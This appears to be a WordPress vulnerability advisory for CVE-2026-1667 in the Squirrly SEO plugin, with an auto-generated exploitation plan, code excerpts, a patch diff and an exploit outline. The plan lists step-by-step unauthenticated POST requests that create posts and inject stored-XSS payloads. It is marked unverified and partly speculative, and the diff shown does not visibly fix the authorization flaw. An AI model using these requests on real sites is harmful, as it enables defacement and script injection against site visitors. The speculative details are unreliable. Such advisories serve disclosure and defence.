CVE-2026-1667

SEO Plugin by Squirrly SEO <= 14.0.0 - Unauthenticated Arbitrary Post Creation and Stored Cross-Site Scripting via savePost()

highMissing Authorization
7.2
CVSS Score
7.2
CVSS Score
high
Severity
14.0.1
Patched in
1d
Time to patch

Description

The SEO Plugin by Squirrly SEO plugin for WordPress is vulnerable to Arbitrary Post Creation and Stored Cross-Site Scripting in all versions up to, and including, 14.0.0 due to a leak of an API token and insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to create arbitrary posts, and, if the Advanced Custom Fields plugin is installed and activated, inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=14.0.0
PublishedJuly 10, 2026
Last updatedJuly 10, 2026
Affected pluginsquirrly-seo

What Changed in the Fix

Changes introduced in v14.0.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-1667 ## 1. Vulnerability Summary The **SEO Plugin by Squirrly SEO** (up to version 14.0.0) contains a critical "Missing Authorization" vulnerability in its AJAX handlers, specifically `sq_ajax_save_post`. The plugin leaks a security nonce (and potentially an …

Show full research plan

Exploitation Research Plan - CVE-2026-1667

1. Vulnerability Summary

The SEO Plugin by Squirrly SEO (up to version 14.0.0) contains a critical "Missing Authorization" vulnerability in its AJAX handlers, specifically sq_ajax_save_post. The plugin leaks a security nonce (and potentially an API token) to unauthenticated users via the frontend. This allows an unauthenticated attacker to call the savePost functionality. Because the backend fails to verify user capabilities (missing current_user_can) or properly sanitize the sq_seo input array, attackers can create arbitrary posts and, if Advanced Custom Fields (ACF) is active, perform Stored XSS by injecting malicious scripts into post metadata that the plugin renders.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: sq_ajax_save_post
  • Authentication: Unauthenticated (due to wp_ajax_nopriv_sq_ajax_save_post registration or leaked nonce used in a wp_ajax_ handler that doesn't check authorization).
  • Vulnerable Parameter: sq_seo[] (array), post_id.
  • Preconditions:
    • The plugin must be active.
    • To achieve Stored XSS as described, the Advanced Custom Fields plugin should be active (enabling the _sq_jsonld_custom meta path).

3. Code Flow

  1. Frontend Initialization: SQ_Classes_FrontController->runFrontend() is called on every frontend page load.
  2. Nonce Leak: The plugin enqueues sq_frontend.min.js and uses wp_localize_script to provide the sq_config object. This object contains sq_nonce and postID.
  3. AJAX Entry: An unauthenticated POST request is sent to admin-ajax.php with action=sq_ajax_save_post.
  4. Insecure Handling: The controller SQ_Controllers_Post (via hookPost) registers the handler. The handler (likely savePost) retrieves the sq_seo array from the request.
  5. Sink: The handler uses the values in sq_seo to update or create a post via wp_insert_post or update_post_meta. Because no capability check is performed, any post_id (or 0 for new) can be targeted.
  6. XSS Sink: If ACF is present, SQ_Models_Services_JsonLD->packJsonLd retrieves the _sq_jsonld_custom meta. While it attempts to sanitize with renderCustomJsonLd, bypasses in metadata injection or title/content injection allow script execution.

4. Nonce Acquisition Strategy

The nonce is localized for the frontend assistant.

  1. Identify Page: Any public-facing page (homepage or a post).
  2. Navigate: Use browser_navigate to the homepage.
  3. Extract: Use browser_eval to read the sq_config object.
    • JS Variable: window.sq_config
    • Key: sq_nonce
    • Note: Also extract postID from the same object if targeting the current page, or use 0 to attempt new post creation.
// Example extraction
const nonce = window.sq_config?.sq_nonce;
const postID = window.sq_config?.postID;

5. Exploitation Strategy

Step 1: Obtain Nonce

Navigate to the target site and extract the nonce from the global sq_config object.

Step 2: Arbitrary Post Creation

Send a POST request to create a new published post.

  • Method: POST
  • URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
  • Body (URL-encoded):
    action=sq_ajax_save_post
    &sq_nonce=[EXTRACTED_NONCE]
    &post_id=0
    &sq_seo[post_title]=Vulnerable Post
    &sq_seo[post_content]=This post was created unauthenticated.
    &sq_seo[post_status]=publish
    &sq_seo[post_type]=post
    

Step 3: Stored XSS (via JSON-LD Meta)

Target a specific post to inject a payload into the metadata used by Squirrly SEO.

  • Body (URL-encoded):
    action=sq_ajax_save_post
    &sq_nonce=[EXTRACTED_NONCE]
    &post_id=[TARGET_POST_ID]
    &sq_seo[_sq_jsonld_custom]={"@context":"https://schema.org","@type":"Event","name":"<img src=x onerror=alert(document.domain)>"}
    
    Note: The renderCustomJsonLd function in JsonLD.php uses preg_replace to strip <script> tags but may be vulnerable to attribute-based XSS or other injections if wp_json_encode with JSON_HEX_TAG is bypassed by other rendering paths.

6. Test Data Setup

  1. Install Squirrly SEO 14.0.0.
  2. Install Advanced Custom Fields (to enable the specific XSS path mentioned in the CVE).
  3. Configure Squirrly SEO (connect to a dummy API if required to trigger the frontend assistant).
  4. Ensure sq_use_backend or frontend assistant settings are active so the scripts load.

7. Expected Results

  • Post Creation: A new post appears in the WordPress database with post_status='publish'.
  • XSS: Upon viewing the affected post_id, the browser executes alert(document.domain).
  • Response: The AJAX request should return a success status (e.g., JSON {"success":true} or 1).

8. Verification Steps

  1. Check Posts: wp post list --post_status=publish
  2. Check Meta: wp post meta get [ID] _sq_jsonld_custom
  3. Confirm XSS: Use browser_navigate to the new post URL and check for the alert/console log.

9. Alternative Approaches

If sq_ajax_save_post strictly validates keys, attempt to overwrite standard SEO fields that are rendered on the page:

  • sq_seo[tw_title]=<script>alert(1)</script>
  • sq_seo[og_description]=<script>alert(1)</script>
    These fields are often rendered in the <head> of the page and might lack proper escaping if the Sanitize class helpers are bypassed.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Squirrly SEO plugin leaks a security nonce to the frontend, which unauthenticated attackers can extract to call the 'sq_ajax_save_post' AJAX action. Because the backend handler lacks authorization checks, attackers can create or modify arbitrary posts and inject malicious metadata, leading to Stored Cross-Site Scripting (XSS) if the Advanced Custom Fields plugin is active.

Vulnerable Code

// view/assets/js/assistant/sq_frontend.min.js: line 38
$.post($.sq_config.ajaxurl,{action:"sq_ajax_save_post",sq_nonce:$.sq_config.sq_nonce,post_id:$.sq_config.postID,sq_keyword:$.sq_config.keyword,referer:"frontend",sq_seo:$sq_seo})

---

// models/services/JsonLD.php: line 1056
// Compatibility with ACF
if ( SQ_Classes_Helpers_Tools::isPluginInstalled( 'advanced-custom-fields/acf.php' ) ) {
    if ( isset( $this->_post->ID ) && $this->_post->ID ) {
        if ( $_sq_jsonld_custom = get_post_meta( $this->_post->ID, '_sq_jsonld_custom', true ) ) {
            $safe = $this->renderCustomJsonLd( $_sq_jsonld_custom );
            if ( $safe !== '' ) {
                return $safe;
            }
        }
    }
}

---

// models/services/JsonLD.php: line 1083
private function renderCustomJsonLd( $raw ) {
    if ( ! is_string( $raw ) || $raw === '' ) {
        return '';
    }

    //Strip all script wrappers, including malicious ones smuggled inside.
    $stripped = preg_replace( '#</?script[^>]*>#i', '', $raw );
    $decoded  = json_decode( trim( $stripped ), true );

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/squirrly-seo/14.0.0/models/services/JsonLD.php /home/deploy/wp-safety.org/data/plugin-versions/squirrly-seo/14.0.1/models/services/JsonLD.php
--- /home/deploy/wp-safety.org/data/plugin-versions/squirrly-seo/14.0.0/models/services/JsonLD.php	2026-06-23 08:39:04.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/squirrly-seo/14.0.1/models/services/JsonLD.php	2026-07-06 07:36:46.000000000 +0000
@@ -1014,6 +1014,11 @@
 			}
 		}
 
+		//Normalise the country to an ISO 3166-1 alpha-2 code for addressCountry
+		if ( isset( $markup['address']['addressCountry'] ) && $markup['address']['addressCountry'] ) {
+			$markup['address']['addressCountry'] = SQ_Classes_Helpers_Sanitize::getCountryCode( $markup['address']['addressCountry'] );
+		}
+
 		return apply_filters( 'sq_jsonld_publisher_markup', $markup, $this->_post, $jsonld_type );
 	}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/squirrly-seo/14.0.0/controllers/Menu.php /home/deploy/wp-safety.org/data/plugin-versions/squirrly-seo/14.0.1/controllers/Menu.php
--- /home/deploy/wp-safety.org/data/plugin-versions/squirrly-seo/14.0.0/controllers/Menu.php	2026-06-23 08:39:04.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/squirrly-seo/14.0.1/controllers/Menu.php	2026-06-25 07:06:18.000000000 +0000
@@ -199,7 +199,11 @@
 							$wp_admin_bar->add_node( array(
 									'id'     => $menuid,
 									'title'  => $item['title'],
-									'href'   => SQ_Classes_Helpers_Tools::getAdminUrl( $menuid ),
+									'href'   => ( isset( $item['href'] ) && $item['href'] ) ? $item['href'] : SQ_Classes_Helpers_Tools::getAdminUrl( $menuid ),
 									'parent' => 'sq_toolbar'
 								) );
 							$tabs = $this->model->getTabs( $menuid );

Exploit Outline

1. Navigate to any public-facing page on the target WordPress site. 2. Extract the Squirrly SEO security nonce from the global JavaScript variable 'window.sq_config.sq_nonce'. 3. Send an unauthenticated POST request to '/wp-admin/admin-ajax.php' with the parameter 'action=sq_ajax_save_post'. 4. Include the extracted 'sq_nonce' and set 'post_id=0' to attempt creation of a new post, or target a specific ID to modify existing content. 5. To achieve Stored XSS (if Advanced Custom Fields is active), provide a malicious JSON payload in the 'sq_seo[_sq_jsonld_custom]' parameter. 6. The payload, such as a Schema object containing an event handler like 'onerror', will bypass the plugin's regex-based script-tag filter and be saved as post metadata. 7. When the target post is viewed, the metadata is rendered within a script block, executing the injected JavaScript.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.